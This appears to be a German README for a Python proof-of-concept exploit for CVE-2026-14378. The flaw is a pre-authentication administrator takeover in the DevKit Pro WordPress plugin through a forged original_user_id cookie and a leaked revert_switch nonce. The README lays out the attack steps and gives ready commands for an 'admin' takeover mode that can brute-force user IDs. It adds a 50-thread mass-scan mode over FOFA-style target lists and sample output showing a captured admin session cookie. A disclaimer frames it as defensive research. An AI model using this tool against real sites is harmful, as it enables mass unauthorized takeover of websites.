
Python-PoC-Scanner und Exploit für CVE-2026-14378, eine Pre-Auth-Übernahme der Administrator-Sitzung im DevKit Pro WordPress-Plugin über ein gefälschtes original_user_id-Cookie.
Proof-of-Concept-Scanner und Exploit-Helfer für CVE-2026-14378: unauthentifizierte Administrator-Session-Übernahme im WordPress-Plugin DevKit Pro (dplugins) durch einen fehlerhaften Benutzerwechsel-„Revert"-Flow.
Rechtliches: Nur auf Systemen verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff ist illegal. Dieses Repository dient der defensiven Forschung, Verifikation und Patch-Validierung.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
Vorgeschlagene Themen: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Produkt | DevKit Pro (Hersteller: dplugins) |
| Typ | Authentifizierungsumgehung → vollständige Administrator-Session (CWE-287) |
| Betroffen | Alle Versionen ≤ 2.3.0 |
| Behoben | 3.0.0+ (Changelog) |
| CVSS 3.1 | 9.8 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Problem | Auth |
|---|---|---|
| CVE-2026-14357 | Beliebige Theme-ZIP-Installation über DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | Session-Übernahme über Benutzerwechsel-Revert | Keine |
Dieser PoC zielt nur auf 14378.
Der Users Manager von DevKit Pro kann Benutzer für Tests impersonieren. Wenn ein Administrator zu einem anderen Konto wechselt, speichert das Plugin die vorherige Identität in einem Client-Cookie:
original_user_id — Benutzer-ID des Kontos vor dem WechselWenn dieses Cookie vorhanden ist, rendert das Plugin ein „Zurückwechseln"-Steuerelement in wp_footer im Frontend, einschließlich eines WordPress-Nonces, der an die Revert-Aktion gebunden ist.
Der revert_switch-Handler (AJAX) ruft verify_nonce_and_capability() auf, was fälschlicherweise manage_options gegen den durch original_user_id referenzierten Benutzer prüft, anstatt current_user_can() auf den tatsächlichen Anfragenden (der möglicherweise völlig unauthentifiziert ist) anzuwenden.
Ein Angreifer kann:
Cookie: original_user_id=<administrator_user_id> setzen (üblicherweise 1).POST an wp-admin/admin-ajax.php mit action=revert_switch (oder pluginspezifischem Alias) und dem geleakten Nonce senden.wp_set_auth_cookie() für die gefälschte Benutzer-ID auslösen → authentifizierte Administrator-Session.Offizieller Feature-Kontext: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
Der check-Befehl ist absichtlich streng: Er meldet nur dann verwundbar, wenn ein Switch-Back-Nonce nach dem Fälschen von original_user_id erscheint.
| Beobachtung | Wahrscheinliche Bedeutung |
|---|---|
VULNERABLE — switch-back material leaked | Exploit-Pfad funktioniert wahrscheinlich; im Labor vor admin bestätigen. |
not vulnerable (check): no switch-back nonce… | Gepatchtes DevKit (≥ 3.0.0), Plugin nicht installiert, Users Manager deaktiviert (standardmäßig aus), benutzerdefinierter Plugin-Pfad, Cache/CDN entfernt Footer, oder falsche Site. |
DevKit Pro readme not confirmed | Kein öffentlicher readme.txt-Fingerprint; Plugin kann dennoch vorhanden, aber verborgen sein — das Oracle bleibt der entscheidende Test. |
DevKit Pro <= 2.3.0 suspected + weiterhin kein Nonce | Verwundbare Version kann installiert sein, aber Switch-Feature nicht aktiviert oder Footer wird auf getesteten URLs nicht gerendert. |
Hinweis: Ein HTTP 200 auf /wp-content/plugins/.../readme.txt, das eine vollständige HTML-Seite zurückgibt, ist ein häufiger WordPress-Soft-404. Dieser PoC validiert den Readme-Inhalt (Plugin Name:-Header), nicht nur den Statuscode.
pip install requests
Optional: requirements.txt enthält ein festgelegtes Minimum:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
Führt keine vollständige Übernahme durch; testet nur das Footer-Nonce-Oracle.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Versucht vollständiges revert_switch und verifiziert /wp-admin/-Zugriff.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Flag | Beschreibung |
|---|---|
--user-id | Administrator- (oder Ziel-)Benutzer-ID, die in original_user_id gefälscht wird (Standard: 1) |
--brute | Versucht IDs 1..N, wenn die erste ID fehlschlägt |
--timeout | HTTP-Timeout in Sekunden (Standard: 25) |
--log | Hängt erfolgreiche admin-URLs an eine Datei an (Standard: logs.txt) |
Eine URL pro Zeile; #-Kommentare und zusätzliche Spalten nach Leerzeichen werden ignoriert.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
Wenn keine Datei als erstes Argument übergeben wird, fordert das Skript einen Listenpfad an (gleiches Verhalten wie Legacy-Massenscanner).
Der Massenmodus verwendet einen Thread-Pool (50 Worker). In poc.py anpassen, falls Rate-Limits erreicht werden.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
Verwundbar (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
Nicht verwundbar (typischer Massenscan):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Erfolgreicher Admin:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…